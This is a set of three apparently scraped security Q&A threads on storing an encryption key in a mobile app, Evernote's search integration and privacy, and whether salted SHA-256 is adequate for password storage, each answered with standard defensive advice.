What would be a valid approach to store private keys? I'm implementing a mobile app which uses AES encryption algorithm to encrypt some critical values being sent to a remote server (basically, the user password), and then decrypted on the server side using the same private key. This works perfectly now, but I'm a bit concerned about how to store/get the private key.

Currently, I've splitted the private key (which is hardcoded) into 3 string objects, and when needed, I concatenate them. I'm afraid this is not a valid solution, though, as any malicious user could simply decode the binary and with a bit of patience get the three parts.

The questions are:

What would be a good approach which at least would make it difficult to the attacker to know the private key?
Would help using a private key based on an event (for example, the current date) instead of storing it?

Instead of building your own AES solution, look at TLS/SSL to encrypt the password being sent to the server.  If you build your own solution as you propose, anyone who cracks your app will be able to read all your users' passwords (and if it secures actual money, people will try to crack it.)  TLS securely exchanges keys with the server as a part of the protocol, resulting in a communication channel that is very resistant to eavesdropping.

If you have some actual reason to encrypt data locally with AES (not involving communication to the server), then if you're building your app for iOS you should be using Apple's keychain API.  I'm not sure what the Android equivalent is, but I believe there is one.  This uses OS level support to hide your secret data.  It's still vulnerable to hacking, but as you can make it random per user, at least a break on one mobile device won't compromise the security of all your users.

If you don't have OS support for storing a key, then you're ultimately stuck with an obscuration solution.  Personally, I'd XOR several values to build the key instead of concatenating fragments of a string, but if someone's going to debug the app and discover it, they're going to discover it regardless.  That means you shouldn't use this to protect any secret regarding the customer's money, accounts, finance, health, credit, retirement, or other records that should be properly secured.  In other words, this might be fine for a game that doesn't involve the customers' wallet (or your wallet, for that matter.)


Should a Web Search with Evernote results be a concern? While using a Chromium based browser (Chromodo) and doing a regular Google search, Evernote is now appearing on the side with "related results in your notes".

Does anyone know how they are doing it?

*I cannot see any additional plugins (extensions) in the list.

I am wondering if this is source of concern for security and/or privacy.  Does it send the search to the online site or it searches locally in my database.  Also, does it notify the "in notes result" to any 3rd party such as Google?

This sounds like Evernote simultaneous search, I'd say that it will be sending the search queries you enter to the evernote service in order to provide this feature.

Whether that's a problem for you will depend on whether you're happy with Evernote seeing that information.  Obviously you trust them not to be actively malicious as you've installed their software on your system, so if you're concerned more about their privacy pratices, a good route would be to look at their published privacy policy and see whether you're comforatable with the uses they could make of the data contained in your search terms


Is SHA-256 + Salt still safe for password storage? I am developing a website which requires users to register to it in order to use it's functions and I was wondering if SHA-256 + salt (random salt provided by RNGCryptoServiceProvider  in C#) is secure and good enough to use in 2017?

For password storage, salted SHA256 hashes are not recommended. This is because the general purpose SHA256 is designed to be fast. Fast is exactly what you do not want for a password hashing algorithm, because it makes brute force and dictionary attacks far more efficient.

Password storage hashes are designed to require a certain workload and in some instances, a minimum memory requirement. Good password storage scheme are designed to be hard to serialize and/or optimize.

The recommended password storage scheme in 2017 is BCrypt hash, with PBKDF2 as alternative, but slightly less regarded, option.

For a more complete answer, please read the sec.se 'standard answer' on password hashing by Thomas Pornin.